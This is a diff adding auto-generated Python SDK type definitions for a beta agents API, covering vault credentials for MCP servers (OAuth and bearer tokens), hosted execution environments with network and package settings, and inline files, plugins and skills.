index 0000000000..4bc7f0b5e5
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_auth_create_param.py
@@ -0,0 +1,86 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .mcp_oauth_token_endpoint_auth_create_param import McpOauthTokenEndpointAuthCreateParam
+
+__all__ = [
+ "CredentialAuthCreateParam",
+ "CreateVaultCredentialAuthParamMcpOauth",
+ "CreateVaultCredentialAuthParamMcpOauthRefresh",
+ "CreateVaultCredentialAuthParamStaticBearer",
+]
+
+
+class CreateVaultCredentialAuthParamMcpOauthRefresh(TypedDict, total=False):
+ """Configuration for refreshing the access token of an MCP OAuth credential."""
+
+ client_id: Required[str]
+ """The OAuth client ID used when requesting a new access token."""
+
+ refresh_token: Required[str]
+ """The refresh token to store.
+
+ This secret is never returned in credential resources.
+ """
+
+ token_endpoint: Required[str]
+ """
+ The HTTPS OAuth token endpoint used to exchange the refresh token for a new
+ access token.
+ """
+
+ token_endpoint_auth: Required[McpOauthTokenEndpointAuthCreateParam]
+ """How the OAuth client authenticates to the token endpoint."""
+
+ resource: Optional[str]
+ """
+ The resource URI to send to the OAuth token endpoint during refresh, if
+ required.
+ """
+
+ scope: Optional[str]
+ """Space-separated OAuth scopes to request during refresh, if required."""
+
+
+class CreateVaultCredentialAuthParamMcpOauth(TypedDict, total=False):
+ """An OAuth credential for an HTTPS MCP destination."""
+
+ access_token: Required[str]
+ """A write-only OAuth access token; never returned by credential resources."""
+
+ mcp_server_url: Required[str]
+ """The HTTPS MCP server URL authorized by this credential."""
+
+ type: Required[Literal["mcp_oauth"]]
+ """The type of the object. Always `mcp_oauth`."""
+
+ expires_at: Optional[str]
+ """When the OAuth access token expires, as an RFC 3339 timestamp, if known."""
+
+ refresh: Optional[CreateVaultCredentialAuthParamMcpOauthRefresh]
+ """Configuration for refreshing the access token of an MCP OAuth credential."""
+
+
+class CreateVaultCredentialAuthParamStaticBearer(TypedDict, total=False):
+ """A bearer token for an MCP server, without automatic OAuth refresh."""
+
+ token: Required[str]
+ """The bearer token to store.
+
+ This secret is never returned in credential resources.
+ """
+
+ mcp_server_url: Required[str]
+ """The HTTPS MCP server URL authorized by this credential."""
+
+ type: Required[Literal["static_bearer"]]
+ """The type of the object. Always `static_bearer`."""
+
+
+CredentialAuthCreateParam: TypeAlias = Union[
+ CreateVaultCredentialAuthParamMcpOauth, CreateVaultCredentialAuthParamStaticBearer
+]
diff --git a/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py b/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
new file mode 100644
index 0000000000..b927bf7333
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
@@ -0,0 +1,76 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .mcp_oauth_token_endpoint_auth_rotate_param import McpOauthTokenEndpointAuthRotateParam
+
+__all__ = [
+ "CredentialAuthRotateParam",
+ "RotateVaultCredentialAuthParamMcpOauth",
+ "RotateVaultCredentialAuthParamMcpOauthRefresh",
+ "RotateVaultCredentialAuthParamStaticBearer",
+]
+
+
+class RotateVaultCredentialAuthParamMcpOauthRefresh(TypedDict, total=False):
+ """Updates to an MCP credential's existing OAuth refresh configuration."""
+
+ refresh_token: Optional[str]
+ """The replacement refresh token.
+
+ Omit or pass `null` to keep the stored token. This secret is never returned in
+ resources.
+ """
+
+ scope: Optional[str]
+ """Replacement space-separated OAuth scopes for refresh requests.
+
+ Omit to keep the scopes, or pass `null` to stop sending a scope parameter.
+ """
+
+ token_endpoint_auth: Optional[McpOauthTokenEndpointAuthRotateParam]
+ """
+ Client-secret updates that preserve the credential's OAuth authentication
+ method.
+ """
+
+
+class RotateVaultCredentialAuthParamMcpOauth(TypedDict, total=False):
+ """Rotate an OAuth credential for an HTTPS MCP destination."""
+
+ type: Required[Literal["mcp_oauth"]]
+ """The type of the object. Always `mcp_oauth`."""
+
+ access_token: Optional[str]
+ """A write-only replacement OAuth access token."""
+
+ expires_at: Optional[str]
+ """The replacement expiry as an RFC 3339 timestamp, or `null` to clear it.
+
+ Omitting this field preserves the expiry unless a new access token is supplied,
+ in which case the expiry is cleared.
+ """
+
+ refresh: Optional[RotateVaultCredentialAuthParamMcpOauthRefresh]
+ """Updates to an MCP credential's existing OAuth refresh configuration."""
+
+
+class RotateVaultCredentialAuthParamStaticBearer(TypedDict, total=False):
+ """Replace the bearer token for the credential's MCP server."""
+
+ token: Required[str]
+ """The replacement bearer token.
+
+ This secret is never returned in credential resources.
+ """
+
+ type: Required[Literal["static_bearer"]]
+ """The type of the object. Always `static_bearer`."""
+
+
+CredentialAuthRotateParam: TypeAlias = Union[
+ RotateVaultCredentialAuthParamMcpOauth, RotateVaultCredentialAuthParamStaticBearer
+]
diff --git a/src/openai/types/beta/agents/vaults/credential_create_params.py b/src/openai/types/beta/agents/vaults/credential_create_params.py
new file mode 100644
index 0000000000..3a5816f0ec
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_create_params.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Required, TypedDict
+
+from .credential_auth_create_param import CredentialAuthCreateParam
+
+__all__ = ["CredentialCreateParams"]
+
+
+class CredentialCreateParams(TypedDict, total=False):
+ auth: Required[CredentialAuthCreateParam]
+ """The authentication method and secret values to store for the MCP server."""
+
+ name: Required[str]
+ """The name is trimmed before storage.
+
+ It must contain 1 to 256 UTF-8 bytes after trimming.
+ """
diff --git a/src/openai/types/beta/agents/vaults/credential_deleted.py b/src/openai/types/beta/agents/vaults/credential_deleted.py
new file mode 100644
index 0000000000..76e4635eba
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_deleted.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ....._models import BaseModel
+
+__all__ = ["CredentialDeleted"]
+
+
+class CredentialDeleted(BaseModel):
+ """Confirmation that a vault credential was deleted."""
+
+ id: str
+ """The ID of the deleted credential."""
+
+ deleted: bool
+ """Whether the resource was deleted. Always `true`."""
+
+ object: Literal["vault.credential.deleted"]
+ """The object type. Always `vault.credential.deleted`."""
diff --git a/src/openai/types/beta/agents/vaults/credential_list_params.py b/src/openai/types/beta/agents/vaults/credential_list_params.py
new file mode 100644
index 0000000000..d453fe6f7a
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_list_params.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+from ..vault_status_filter_param import VaultStatusFilterParam
+
+__all__ = ["CredentialListParams"]
+
+
+class CredentialListParams(TypedDict, total=False):
+ after: str
+ """Return resources after this resource ID in the selected order."""
+
+ limit: Optional[int]
+ """The maximum number of resources to return.
+
+ Defaults to 20. Values are clamped between 1 and 100.
+ """
+
+ order: Literal["asc", "desc"]
+ """Sort order by the `created_at` timestamp.
+
+ Use `asc` for ascending order or `desc` for descending order. Defaults to
+ `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+ """
+
+ status: VaultStatusFilterParam
+ """
+ Filter by one status or a list, such as `status=active` or
+ `status[]=active&status[]=archived`. Both statuses are included by default.
+ """
diff --git a/src/openai/types/beta/agents/vaults/credential_update_params.py b/src/openai/types/beta/agents/vaults/credential_update_params.py
new file mode 100644
index 0000000000..4373177d90
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/credential_update_params.py
@@ -0,0 +1,16 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Required, TypedDict
+
+from .credential_auth_rotate_param import CredentialAuthRotateParam
+
+__all__ = ["CredentialUpdateParams"]
+
+
+class CredentialUpdateParams(TypedDict, total=False):
+ vault_id: Required[str]
+
+ auth: Required[CredentialAuthRotateParam]
+ """Replacement values for the credential's existing authentication method."""
diff --git a/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth.py b/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth.py
new file mode 100644
index 0000000000..b2d6132cee
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth.py
@@ -0,0 +1,45 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ....._utils import PropertyInfo
+from ....._models import BaseModel
+
+__all__ = [
+ "McpOauthTokenEndpointAuth",
+ "McpOauthTokenEndpointAuthResourceNone",
+ "McpOauthTokenEndpointAuthResourceClientSecretBasic",
+ "McpOauthTokenEndpointAuthResourceClientSecretPost",
+]
+
+
+class McpOauthTokenEndpointAuthResourceNone(BaseModel):
+ """Sends the client ID without a client secret."""
+
+ type: Literal["none"]
+ """The type of the object. Always `none`."""
+
+
+class McpOauthTokenEndpointAuthResourceClientSecretBasic(BaseModel):
+ """Sends the client ID and secret using HTTP Basic authentication."""
+
+ type: Literal["client_secret_basic"]
+ """The type of the object. Always `client_secret_basic`."""
+
+
+class McpOauthTokenEndpointAuthResourceClientSecretPost(BaseModel):
+ """Sends the client ID and secret in the token request body."""
+
+ type: Literal["client_secret_post"]
+ """The type of the object. Always `client_secret_post`."""
+
+
+McpOauthTokenEndpointAuth: TypeAlias = Annotated[
+ Union[
+ McpOauthTokenEndpointAuthResourceNone,
+ McpOauthTokenEndpointAuthResourceClientSecretBasic,
+ McpOauthTokenEndpointAuthResourceClientSecretPost,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth_create_param.py b/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth_create_param.py
new file mode 100644
index 0000000000..ef1218e7f0
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth_create_param.py
@@ -0,0 +1,47 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = [
+ "McpOauthTokenEndpointAuthCreateParam",
+ "CreateMcpOauthTokenEndpointAuthParamNone",
+ "CreateMcpOauthTokenEndpointAuthParamClientSecretBasic",
+ "CreateMcpOauthTokenEndpointAuthParamClientSecretPost",
+]
+
+
+class CreateMcpOauthTokenEndpointAuthParamNone(TypedDict, total=False):
+ """Sends the client ID without a client secret."""
+
+ type: Required[Literal["none"]]
+ """The type of the object. Always `none`."""
+
+
+class CreateMcpOauthTokenEndpointAuthParamClientSecretBasic(TypedDict, total=False):
+ """Sends the client ID and secret using HTTP Basic authentication."""
+
+ client_secret: Required[str]
+ """The OAuth client secret to store. Never returned in credential resources."""
+
+ type: Required[Literal["client_secret_basic"]]
+ """The type of the object. Always `client_secret_basic`."""
+
+
+class CreateMcpOauthTokenEndpointAuthParamClientSecretPost(TypedDict, total=False):
+ """Sends the client ID and secret in the token request body."""
+
+ client_secret: Required[str]
+ """The OAuth client secret to store. Never returned in credential resources."""
+
+ type: Required[Literal["client_secret_post"]]
+ """The type of the object. Always `client_secret_post`."""
+
+
+McpOauthTokenEndpointAuthCreateParam: TypeAlias = Union[
+ CreateMcpOauthTokenEndpointAuthParamNone,
+ CreateMcpOauthTokenEndpointAuthParamClientSecretBasic,
+ CreateMcpOauthTokenEndpointAuthParamClientSecretPost,
+]
diff --git a/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth_rotate_param.py b/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth_rotate_param.py
new file mode 100644
index 0000000000..35eb3d9a47
--- /dev/null
+++ b/src/openai/types/beta/agents/vaults/mcp_oauth_token_endpoint_auth_rotate_param.py
@@ -0,0 +1,45 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = [
+ "McpOauthTokenEndpointAuthRotateParam",
+ "RotateMcpOauthTokenEndpointAuthParamClientSecretBasic",
+ "RotateMcpOauthTokenEndpointAuthParamClientSecretPost",
+]
+
+
+class RotateMcpOauthTokenEndpointAuthParamClientSecretBasic(TypedDict, total=False):
+ """Updates credentials sent using HTTP Basic authentication."""
+
+ type: Required[Literal["client_secret_basic"]]
+ """The type of the object. Always `client_secret_basic`."""
+
+ client_secret: Optional[str]
+ """The replacement OAuth client secret.
+
+ Omit or pass `null` to keep the stored secret. This secret is never returned in
+ resources.
+ """
+
+
+class RotateMcpOauthTokenEndpointAuthParamClientSecretPost(TypedDict, total=False):
+ """Updates credentials sent in the token request body."""
+
+ type: Required[Literal["client_secret_post"]]
+ """The type of the object. Always `client_secret_post`."""
+
+ client_secret: Optional[str]
+ """The replacement OAuth client secret.
+
+ Omit or pass `null` to keep the stored secret. This secret is never returned in
+ resources.
+ """
+
+
+McpOauthTokenEndpointAuthRotateParam: TypeAlias = Union[
+ RotateMcpOauthTokenEndpointAuthParamClientSecretBasic, RotateMcpOauthTokenEndpointAuthParamClientSecretPost
+]
diff --git a/src/openai/types/beta/environment.py b/src/openai/types/beta/environment.py
new file mode 100644
index 0000000000..508457468c
--- /dev/null
+++ b/src/openai/types/beta/environment.py
@@ -0,0 +1,115 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .hosted_skill import HostedSkill
+from .hosted_plugin import HostedPlugin
+from .hosted_environment_file import HostedEnvironmentFile
+
+__all__ = [
+ "Environment",
+ "EnvironmentResourceNone",
+ "EnvironmentResourceOpenAIHosted",
+ "EnvironmentResourceOpenAIHostedNetwork",
+ "EnvironmentResourceOpenAIHostedPackages",
+ "EnvironmentResourceSelfHosted",
+]
+
+
+class EnvironmentResourceNone(BaseModel):
+ """
+ The session talks to CCA without selecting or provisioning an execution environment.
+ """
+
+ type: Literal["none"]
+ """The type of the object. Always `none`."""
+
+
+class EnvironmentResourceOpenAIHostedNetwork(BaseModel):
+ """The effective network access policy for the environment."""
+
+ access: Literal["enabled", "disabled", "restricted"]
+ """The environment's network access mode.
+
+ - `enabled` - Allows unrestricted network access.
+ - `disabled` - Disables network access.
+ - `restricted` - Allows access only to configured domains.
+ """
+
+ allowed_domains: List[str]
+ """Domains the environment may access when network access is restricted."""
+
+
+class EnvironmentResourceOpenAIHostedPackages(BaseModel):
+ """Packages installed in the environment."""
+
+ npm: List[str]
+ """npm packages installed globally in the environment."""
+
+ python: List[str]
+ """Python packages installed in the environment."""
+
+ system: List[str]
+ """System packages installed in the environment."""
+
+
+class EnvironmentResourceOpenAIHosted(BaseModel):
+ """An environment hosted by OpenAI."""
+
+ id: str
+ """The public ID of the environment."""
+
+ capability_directories: List[str]
+ """Directories that contain capabilities exposed to the agent."""
+
+ files: List[HostedEnvironmentFile]
+ """Files available in the environment, excluding their contents."""
+
+ network: EnvironmentResourceOpenAIHostedNetwork
+ """The effective network access policy for the environment."""
+
+ packages: EnvironmentResourceOpenAIHostedPackages
+ """Packages installed in the environment."""
+
+ plugins: List[HostedPlugin]
+ """Plugins installed in the environment, excluding their archive contents."""
+
+ skills: List[HostedSkill]
+ """Skills installed in the environment, excluding their archive contents."""
+
+ type: Literal["openai_hosted"]
+ """The type of the object. Always `openai_hosted`."""
+
+
+class EnvironmentResourceSelfHosted(BaseModel):
+ """An environment hosted by the application."""
+
+ id: str
+ """The public ID of the environment."""
+
+ capability_directories: List[str]
+ """Directories that contain capabilities exposed to the agent."""
+
+ remote_url: str
+ """
+ Pass this URL unchanged to `codex exec-server --remote` when connecting this
+ environment.
+ """
+
+ type: Literal["self_hosted"]
+ """The type of the object. Always `self_hosted`."""
+
+ workspace_directory: str
+ """The absolute project directory inside the environment.
+
+ Defaults to `/workspace`.
+ """
+
+
+Environment: TypeAlias = Annotated[
+ Union[EnvironmentResourceNone, EnvironmentResourceOpenAIHosted, EnvironmentResourceSelfHosted],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/environment_param.py b/src/openai/types/beta/environment_param.py
new file mode 100644
index 0000000000..8d6c811cb6
--- /dev/null
+++ b/src/openai/types/beta/environment_param.py
@@ -0,0 +1,120 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from ..._types import SequenceNotStr
+from .hosted_skill_param import HostedSkillParam
+from .hosted_plugin_param import HostedPluginParam
+from .setup_command_param import SetupCommandParam
+from .hosted_environment_file_param import HostedEnvironmentFileParam
+
+__all__ = [
+ "EnvironmentParam",
+ "EnvironmentParamNone",
+ "EnvironmentParamOpenAIHosted",
+ "EnvironmentParamOpenAIHostedNetwork",
+ "EnvironmentParamOpenAIHostedPackages",
+ "EnvironmentParamSelfHosted",
+]
+
+
+class EnvironmentParamNone(TypedDict, total=False):
+ """Runs the agent without an execution environment."""
+
+ type: Required[Literal["none"]]
+ """The type of the object. Always `none`."""
+
+
+class EnvironmentParamOpenAIHostedNetwork(TypedDict, total=False):
+ """Network access for an OpenAI-hosted environment."""
+
+ access: Required[Literal["enabled", "disabled", "restricted"]]
+ """The environment's network access mode.
+
+ - `enabled` - Allows unrestricted network access, matching an omitted network
+ policy.
+ - `disabled` - Disables network access.
+ - `restricted` - Allows access only to configured domains.
+ """
+
+ allowed_domains: Optional[SequenceNotStr[str]]
+ """Domains the environment may access when network access is restricted."""
+
+
+class EnvironmentParamOpenAIHostedPackages(TypedDict, total=False):
+ """Packages to install in an OpenAI-hosted environment."""
+
+ npm: Optional[SequenceNotStr[str]]
+ """npm packages to install globally. Defaults to an empty list."""
+
+ python: Optional[SequenceNotStr[str]]
+ """Python packages to install. Defaults to an empty list."""
+
+ system: Optional[SequenceNotStr[str]]
+ """System packages to install. Defaults to an empty list."""
+
+
+class EnvironmentParamOpenAIHosted(TypedDict, total=False):
+ """An OpenAI-hosted environment, optionally based on a reusable template."""
+
+ type: Required[Literal["openai_hosted"]]
+ """The type of the object. Always `openai_hosted`."""
+
+ capability_directories: Optional[SequenceNotStr[str]]
+ """Directories that contain capabilities exposed to the agent.
+
+ Defaults to an empty list.
+ """
+
+ env: Optional[Dict[str, str]]
+ """Environment variables made available to the agent."""
+
+ environment_template_id: str
+ """A reusable hosted template applied before inline session configuration.
+
+ Omitted fields inherit the template; network overrides cannot broaden its
+ policy.
+ """
+
+ files: Optional[Iterable[HostedEnvironmentFileParam]]
+ """Files available before the agent starts. Defaults to an empty list."""
+
+ network: Optional[EnvironmentParamOpenAIHostedNetwork]
+ """Network access for an OpenAI-hosted environment."""
+
+ packages: Optional[EnvironmentParamOpenAIHostedPackages]
+ """Packages to install in an OpenAI-hosted environment."""
+
+ plugins: Optional[Iterable[HostedPluginParam]]
+ """Plugins provided as inline ZIP archives. Defaults to an empty list."""
+
+ setup_commands: Optional[Iterable[SetupCommandParam]]
+ """Ordered, confidential setup commands. Command bodies are never returned."""
+
+ skills: Optional[Iterable[HostedSkillParam]]
+ """Skills referenced by ID or provided as inline ZIP archives.
+
+ Defaults to an empty list.
+ """
+
+
+class EnvironmentParamSelfHosted(TypedDict, total=False):
+ """An application-hosted environment configured inline."""
+
+ type: Required[Literal["self_hosted"]]
+ """The type of the object. Always `self_hosted`."""
+
+ workspace_directory: Required[str]
+ """Absolute project directory inside the self-hosted environment."""
+
+ capability_directories: Optional[SequenceNotStr[str]]
+ """Directories that contain capabilities exposed to the agent.
+
+ Defaults to an empty list.
+ """
+
+
+EnvironmentParam: TypeAlias = Union[EnvironmentParamNone, EnvironmentParamOpenAIHosted, EnvironmentParamSelfHosted]
diff --git a/src/openai/types/beta/hosted_environment_file.py b/src/openai/types/beta/hosted_environment_file.py
new file mode 100644
index 0000000000..e6c12ed441
--- /dev/null
+++ b/src/openai/types/beta/hosted_environment_file.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .hosted_environment_file_id import HostedEnvironmentFileID
+
+__all__ = ["HostedEnvironmentFile", "HostedEnvironmentFileResourceInline"]
+
+
+class HostedEnvironmentFileResourceInline(BaseModel):
+ """A file supplied inline when the session was created."""
+
+ id: str
+ """The session-scoped ID of the file in the execution environment."""
+
+ path: str
+ """The file's absolute path inside the environment."""
+
+ size_bytes: int
+ """The decoded file size in bytes."""
+
+ type: Literal["inline"]
+ """The type of the object. Always `inline`."""
+
+
+HostedEnvironmentFile: TypeAlias = Annotated[
+ Union[HostedEnvironmentFileID, HostedEnvironmentFileResourceInline], PropertyInfo(discriminator="type")
+]
diff --git a/src/openai/types/beta/hosted_environment_file_id.py b/src/openai/types/beta/hosted_environment_file_id.py
new file mode 100644
index 0000000000..c9cd7e4369
--- /dev/null
+++ b/src/openai/types/beta/hosted_environment_file_id.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["HostedEnvironmentFileID"]
+
+
+class HostedEnvironmentFileID(BaseModel):
+ """A file copied from the OpenAI Files API."""
+
+ id: str
+ """The session-scoped ID of the file in the execution environment."""
+
+ file_id: str
+ """The ID of the uploaded file."""
+
+ path: str
+ """The file's absolute path inside the environment."""
+
+ size_bytes: int
+ """The decoded file size in bytes."""
+
+ type: Literal["file_id"]
+ """The type of the object. Always `file_id`."""
diff --git a/src/openai/types/beta/hosted_environment_file_param.py b/src/openai/types/beta/hosted_environment_file_param.py
new file mode 100644
index 0000000000..73b7213b19
--- /dev/null
+++ b/src/openai/types/beta/hosted_environment_file_param.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = ["HostedEnvironmentFileParam", "HostedEnvironmentFileParamFileID", "HostedEnvironmentFileParamInline"]
+
+
+class HostedEnvironmentFileParamFileID(TypedDict, total=False):
+ """A file previously uploaded through the OpenAI Files API."""
+
+ file_id: Required[str]
+ """The ID of the uploaded file."""
+
+ path: Required[str]
+ """The absolute destination path inside `/workspace`."""
+
+ type: Required[Literal["file_id"]]
+ """The type of the object. Always `file_id`."""
+
+
+class HostedEnvironmentFileParamInline(TypedDict, total=False):
+ """A file supplied directly as standard-base64 data."""
+
+ data: Required[str]
+ """The standard-base64-encoded file contents."""
+
+ path: Required[str]
+ """The absolute destination path inside `/workspace`."""
+
+ type: Required[Literal["inline"]]
+ """The type of the object. Always `inline`."""
+
+
+HostedEnvironmentFileParam: TypeAlias = Union[HostedEnvironmentFileParamFileID, HostedEnvironmentFileParamInline]
diff --git a/src/openai/types/beta/hosted_plugin.py b/src/openai/types/beta/hosted_plugin.py
new file mode 100644
index 0000000000..ef31cada58
--- /dev/null
+++ b/src/openai/types/beta/hosted_plugin.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["HostedPlugin"]
+
+
+class HostedPlugin(BaseModel):
+ """A plugin installed from an inline ZIP archive."""
+
+ description: str
+ """The installed plugin description."""
+
+ name: str
+ """The installed plugin name."""
+
+ type: Literal["inline"]
+ """The type of the object. Always `inline`."""
diff --git a/src/openai/types/beta/hosted_plugin_param.py b/src/openai/types/beta/hosted_plugin_param.py
new file mode 100644
index 0000000000..5d8b5d5972
--- /dev/null
+++ b/src/openai/types/beta/hosted_plugin_param.py
@@ -0,0 +1,25 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+from .inline_capability_source_param import InlineCapabilitySourceParam
+
+__all__ = ["HostedPluginParam"]
+
+
+class HostedPluginParam(TypedDict, total=False):
+ """Supplies a plugin ZIP directly in the session request."""
+
+ description: Required[str]
+ """The plugin description declared in `.codex-plugin/plugin.json`."""
+
+ name: Required[str]
+ """The plugin name declared in `.codex-plugin/plugin.json`."""
+
+ source: Required[InlineCapabilitySourceParam]
+ """Provides ZIP bytes encoded with standard base64."""
+
+ type: Required[Literal["inline"]]
+ """The type of the object. Always `inline`."""
diff --git a/src/openai/types/beta/hosted_skill.py b/src/openai/types/beta/hosted_skill.py
new file mode 100644
index 0000000000..be82c4a3ed
--- /dev/null
+++ b/src/openai/types/beta/hosted_skill.py
@@ -0,0 +1,28 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .hosted_skill_reference import HostedSkillReference
+
+__all__ = ["HostedSkill", "HostedSkillResourceInline"]
+
+
+class HostedSkillResourceInline(BaseModel):
+ """A skill installed from an inline ZIP archive."""
+
+ description: str
+ """The installed skill description."""
+
+ name: str
+ """The installed skill name."""
+
+ type: Literal["inline"]
+ """The type of the object. Always `inline`."""
+
+
+HostedSkill: TypeAlias = Annotated[
+ Union[HostedSkillReference, HostedSkillResourceInline], PropertyInfo(discriminator="type")
+]
diff --git a/src/openai/types/beta/hosted_skill_param.py b/src/openai/types/beta/hosted_skill_param.py
new file mode 100644
index 0000000000..0effe8cbbc
--- /dev/null
+++ b/src/openai/types/beta/hosted_skill_param.py
@@ -0,0 +1,44 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .inline_capability_source_param import InlineCapabilitySourceParam
+
+__all__ = ["HostedSkillParam", "HostedSkillParamSkillReference", "HostedSkillParamInline"]
+
+
+class HostedSkillParamSkillReference(TypedDict, total=False):
+ """References a skill uploaded through the Skills API."""
+
+ skill_id: Required[str]
+ """The ID of the skill created through `/v1/skills`."""
+
+ type: Required[Literal["skill_reference"]]
+ """The type of the object. Always `skill_reference`."""
+
+ version: Optional[str]
+ """
+ The skill version, a positive integer or `latest`; omission selects the default.
+ """
+
+
+class HostedSkillParamInline(TypedDict, total=False):
+ """Supplies a skill ZIP directly in the session request."""
+
+ description: Required[str]
+ """The skill description declared in `SKILL.md`."""
+
+ name: Required[str]
+ """The skill name declared in `SKILL.md`."""
+
+ source: Required[InlineCapabilitySourceParam]
+ """Provides ZIP bytes encoded with standard base64."""
+
+ type: Required[Literal["inline"]]
+ """The type of the object. Always `inline`."""
+
+
+HostedSkillParam: TypeAlias = Union[HostedSkillParamSkillReference, HostedSkillParamInline]
diff --git a/src/openai/types/beta/hosted_skill_reference.py b/src/openai/types/beta/hosted_skill_reference.py
new file mode 100644
index 0000000000..bed8e0354a
--- /dev/null
+++ b/src/openai/types/beta/hosted_skill_reference.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["HostedSkillReference"]
+
+
+class HostedSkillReference(BaseModel):
+ """A skill installed from the Skills API."""
+
+ description: str
+ """The installed skill description."""
+
+ name: str
+ """The installed skill name."""
+
+ skill_id: str
+ """The referenced skill ID."""
+
+ type: Literal["skill_reference"]
+ """The type of the object. Always `skill_reference`."""
+
+ version: str
+ """The concrete skill version installed for this session."""
diff --git a/src/openai/types/beta/inline_capability_source_param.py b/src/openai/types/beta/inline_capability_source_param.py
new file mode 100644
index 0000000000..5dff18a4b8
--- /dev/null
+++ b/src/openai/types/beta/inline_capability_source_param.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["InlineCapabilitySourceParam"]
+
+
+class InlineCapabilitySourceParam(TypedDict, total=False):
+ """Provides ZIP bytes encoded with standard base64."""
+
+ data: Required[str]
+ """Standard-base64 encoded ZIP archive bytes."""
+
+ media_type: Required[Literal["application/zip"]]
+ """The archive media type, always `application/zip`.
+
+ - `application/zip` - A ZIP archive.
+ """
+
+ type: Required[Literal["base64"]]
+ """The type of the object. Always `base64`."""
diff --git a/src/openai/types/beta/input_content.py b/src/openai/types/beta/input_content.py
new file mode 100644
index 0000000000..61f15597af
--- /dev/null
+++ b/src/openai/types/beta/input_content.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = ["InputContent", "InputContentResourceInputText", "InputContentResourceInputImage"]
+
+
+class InputContentResourceInputText(BaseModel):
+ """Text input recorded in a session item."""
+
+ text: str
+ """The text supplied to the agent."""
+
+ type: Literal["input_text"]
+ """The type of the object. Always `input_text`."""
